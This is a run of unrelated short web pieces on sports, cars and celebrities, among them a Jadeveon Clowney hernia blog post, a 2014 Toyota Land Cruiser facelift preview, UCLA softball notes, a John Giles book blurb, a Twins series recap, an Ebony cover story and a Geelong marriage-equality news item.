The 2014 NFL season is rapidly approaching and it seems that we still can't be done with the Jadeveon Clowney saga at South Carolina. During the NFL Rookie Symposium on Thursday, Clowney revealed to NFL.com that he played with a sports hernia injury in 2013.
According to blog.chron.com, agent Bus Cook stated that Clowney originally thought he was fighting through a groin injury. Injuries that are misdiagnosed are hardly something new in the world of sports.
Earlier this year, Marcellus Wiley released a story about a supposed groin injury during his NFL days. Throughout the year, the team doctor kept him on the field, while injecting Wiley with shots, so he could perform on Sundays. Instead of having a groin injury, it turned out that Wiley had sustained a torn abdominal wall. Marcellus Wiley never learned of this injury until he saw a specialist that was not affiliated with his NFL team.
There's no telling when Jadeveon Clowney sustained this injury, but it's entirely possible that he played the majority of the season with a sports hernia. That in itself goes against all the talk about Clowney not being a team player. However, it will never change of opinions of people who dislike Jadeveon.
Apparently, Clowney was ready to shut it down for his pro day, yet he decided to give it a shot. After wowing all of the scouts, coaches and GM's, Houston was pretty much secure in their No.1 choice.
After being selected No.1 overall, Clowney had to undergo surgery, which has caused him to miss OTA's and a three day mini-camp. Even with the surgery Houston expects Clowney to be ready in time for training camp.
According to sportsline.com, Clowney initially stated that the injury happened after the draft. Either way you look at it, it was smart for Clowney to conceal the injury if he was hurt. The chances of him going No.1 would have greatly diminished with a known injury.
As we just saw with Joel Embiid, and the NBA draft, the slightest flaw and nick can drop your stature as a prospect. While Embiid is expected to miss some time on a young team in Philadelphia, Clowney is looked upon as a savior in 2014 for the Houston Texans.
Houston wants and needs Jadeveon Clowney to start from day one. Houston believes if he is right mentally and physically, there's no way opponents will be able to contain the defensive line with J.J. Watt roaming the other side.
Maybe, just maybe, Clowney isn't "lazy and spoiled.' He could be the next dominant defensive lineman in this era.

The longest running nameplate in Toyota's history is about to get a makeover for 2014. Toyota is taking the Land Cruiser and mildly updating it with a new front end that gets "teardrop" headlights that are either LED of halogen, a wider grille and a redesigned bumper. This new frontend has increased the four-by-four's length by 20mm (0.79 inches) but hasn't changed the off roader's 32 degree approach angle or its minimal turning circle.
At the rear you'll find a new light cluster with red and clear horizontal lens and a redesign licence plate area. A wider selection of 17 and 18 inch alloys are being offered with this 2014 version and there are new body colours: Bronze Mica Metallic, Attitude Black Mica, Dark Blue Mica and Dark Green Mica.
Inside there is a new panel for the on and off road controls, a revised centre console and a 4.2-inch colour TFT multi-information screen. The dashboard and trim have been given some attention too and new fabric's been used on the second and third rows of seats. Everything's set off with a black and ivory colour scheme that gives a premium feel. For added safety Toyota has included a sway control from trailers and an emergency brake signal.
We're expecting the new 2014 Toyota Land Cruiser to get a public showing at the 2013 Frankfurt Motor Show in September ahead of a launch sometime during the first few months of 2014.

This weekend, UCLA will compete in one of the top collegiate softball tournaments in the country this season, the Palm Springs Classic at Big League Dreams. The 18-team field includes seven teams ranked in the top-20 in the current ESPN.com/USA Softball poll and two additional teams that are receiving votes in that poll. The U.S. Olympic Team will also participate in the tournament, playing games against No. 6 Alabama, No. 10 Stanford, Notre Dame, No. 12 Tennessee and tournament host Oregon State. Four of UCLA's five tournament opponents are ranked or receiving votes in the ESPN.com poll.
Bruins Undefeated at UNLV Classic
The Bruins started UNLV Classic play with an offensive explosion against No. 8 Nebraska as UCLA set a school record with six home runs in the 10-1 five-inning win, while Emily Zaplatosch tied the school record with two home runs in the game. Her five RBIs against the Huskers tie for fifth-best in UCLA single game history since the start of the 1997 season. Zaplatosch's hot streak continued in the second game of the day as she homered against No. 13 DePaul, becoming the first Bruin since Tairia Mims in 2001 to have a three-home run day. Mims also achieved that feat at the UNLV Classic against Wisconsin and Nebraska. The Bruins recorded 13 hits as a team against the Blue Demons in the 10-2 six-inning win as Lisa Dodd earned her third victory of the season.
Saturday's play saw Dodd pitch a one-hit shutout in UCLA's 5-0 win over Portland State, as Dodd and Whitney Holum homered in the game. In the second game of the day, Keira Goerl pitched her first no-hitter of the season against Wisconsin, a game in which Caitlin Benyi hit a lead-off home run, the first lead-off homer since last February when Natasha Watley accomplished the feat against Florida Atlantic. Benyi would go on to duplicate Zaplatosch's Friday performance, recording a two-run home run in the bottom of the fourth inning. Sunday saw the Bruins record a 3-0 win over No. 8 Michigan as Goerl pitched the shutout for her fifth win of the year.
Keira Goerl Named Pac-10 Pitcher of the Week
UCLA junior Keira Goerl was named the Pac-10's Pitcher of the Week on Feb. 17 after tossing the 10th solo no-hitter of her career and 89th no-hitter in UCLA softball history against Wisconsin on Feb. 14. She struck out nine, walked one and hit one batter in the five-inning win. For the week, Goerl had a 0.00 ERA, pitching 17 innings with two shutouts, 20 strikeouts and just four walks, holding opposing hitters to a .161 batting average. She had a 3-0 record on the week with a 10-1 win over No. 9 Nebraska, a no-hitter against Wisconsin in an 8-0 victory, and a shutout win against No. 8 Michigan, all at the UNLV Classic.
Advance Tickets On Sale for March 28 Game with U.S. Olympic Team
Advance tickets are now on sale for the March 28 game between UCLA and the 2004 U.S. Olympic Team at Easton Stadium. Tickets are $12 for adults and $8 for youth, and are available through the UCLA Central Ticket Office at 310-UCLA-WIN.

moreIn The Great and the Good, Ireland's leading football pundit and legend of the game John Giles will look back on more than fifty years of football, at developments in the game from the post-War period to the present day, the great players who drove it forward, the visionary managers and their teams, and the age-old question of what makes a player good and what makes one great. From his earliest days, John Giles can recall pondering the subject. 'You'd hear about certain "great" players, such as Stanley Matthews, but no one would ever explain why they were great. And it's a thing that has always frustrated me: trying to define what makes a player great, and what separates the great from the good.' Now Giles himself brings us the answers and celebrates the great ones, from Stanley Matthews, Tom Finney, Dave Mackay, John Charles, Johnny Haynes and Jimmy Greaves to Pele, Franz Beckenbauer, John Robertson, Diego Maradona, Marco van Basten, Lionel Messi, Paul Scholes and many more. It will include a section on Irish players including detailed analysis of such greats as Roy Keane, Liam Brady and Paul McGrath. And Giles will name the player he considers the greatest of them all. less

Sweeping The Tribe
This weekend, I was out of town for the Fourth of July and thus not able to update this blog. Essentially, here is what happened in my abscence:
Friday: Twins paste the Terrible Tribe 12-3.
Saturday: Twins pasted the Tribe again, 9-6, but just have to come back from a three-run deficit to do it.
Sunday: The real interesting game of the series. With Cleveland clinging to a 3-1 lead heading into the eighth inning, Indian starter Cliff Lee was mowing down the Twins in near-record time. However, perhaps stewing over a previous altercation with Carlos Gomez, Lee melted in the eighth, allowing three runs that proved to be enough for a 4-3 win. If the Twins can come back against Cliff Lee this year, they can come back against anyone!
Short lesson learned from this series: The Twins did what they needed to do against a sluggish Indians club. I was impressed by their moxie in the third game, as it would have been easy to just say "hey, we got the series won" and throw in the towel against Lee on a hot afternoon. But, to their credit, the young Twins played their hearts out and came away with the sweep.
On to Fenway!

Mariah Carey and Nick Cannon posed in a swimming pool for the cover of Ebony magazine. Just Jared reported the news of the happy couple on Jan. 8. The February 2014 issue of the magazine is on newsstands now.
Carey and Cannon wear matching outfits on the cover. Carey slips into the pool in a red slinky beaded gown. She also wears black cutout pumps. Cannon dons a red linen blazer and navy blue button down shirt. The pair holds hands in the pool as they look at the camera. They look every bit in love as they did on their wedding day.
After five years together, the couple is still going strong. Cannon talked about his secret to a strong marriage. He revealed that he liked how "spiritual" Carey was. They share the same values and want to pass those values onto their children.
Carey talks about motherhood to the magazine. She says that daughter Monroe is already taking after her diva ways. She caught her daughter wearing her ruby and diamond necklace and earrings.
Mariah Carey is in the studio recording a new album. Nick Cannon took on the role of DJ as he spun at 1 OAK Nightclub at The Mirage. The event was created to launch the new Ncredible tablet on Tuesday, Jan. 8.

Footy club Geelong comes out in favour of marriage equality
AFL team Geelong has posted a letter on its website coming out in favour of marriage equality. The move has prompted advocates to call for other teams to add their voice in support.
Australian Marriage Equality national director, Rodney Croome has welcomed the team's support.
"I salute Geelong's leadership on an issue that is important to many of its players and fans, and urge other clubs to follow," Croome said. "The leadership of senior football clubs in combatting discrimination will encourage our national leaders to ensure all Australians are treated equally."
Croome will be joining other advocates in a visit to Geelong and Colac next week to drum up support for reform and to reach out to those undecided on the issue. The visit comes ahead of a planned vote on marriage equality by Geelong City Council.
The Geelong visit by national marriage equality advocates will be the first of up to 50 visits to suburban, regional and rural electorates across Australia in the coming months.
"Because marriage equality will be achieved with a cross-party conscience vote, it's vital that MPs know their electorates are behind the reform," Croome said.
